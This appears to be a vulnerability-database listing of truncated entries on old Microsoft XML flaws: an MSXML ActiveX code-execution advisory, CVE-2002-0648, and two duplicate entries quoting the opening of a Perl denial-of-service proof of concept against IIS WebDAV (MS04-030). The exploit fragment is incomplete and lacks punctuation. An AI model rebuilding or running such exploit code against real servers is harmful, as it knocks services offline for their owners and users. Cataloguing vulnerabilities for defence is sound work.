Microsoft XML Core Services XMLHTTP ActiveX control vulnerability

Overview The Microsoft XML Core Services XMLHTTP ActiveX control contains an unspecified vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. Description Microsoft XML Core Services MSXML allow developers who use applications such as...

Microsoft IIS - WebDAV XML Denial of Service (MS04-030)

!/usr/bin/perl IIS BlowOut POC exploit for MS04-030. Found by Amit Klein. incognitoergo yahoo com usage: perl ms04-030spl.pl host port use IO::Socket; $port = @ARGV1; $host = @ARGV0; $socket = IO::Socket::INET-newPeerAddr = $host,PeerPort = $port,Proto = "TCP"; for $count=1;...

Microsoft IIS - WebDAV XML Denial of Service (MS04-030)

Microsoft IIS - WebDAV XML Denial of Service MS04-030 !/usr/bin/perl IIS BlowOut POC exploit for MS04-030. Found by Amit Klein. incognitoergo yahoo com usage: perl ms04-030spl.pl host port use IO::Socket; $port = @ARGV1; $host = @ARGV0; $socket = IO::Socket::INET-newPeerAddr = $host,PeerPort =...

CVE-2002-0648

The legacy data-island capability for XML in Microsoft Internet Explorer 5.01, 5.5, and 6.0 allows remote attackers to read arbitrary XML files, and portions of other files, via a URL whose "src" attribute redirects to a local file...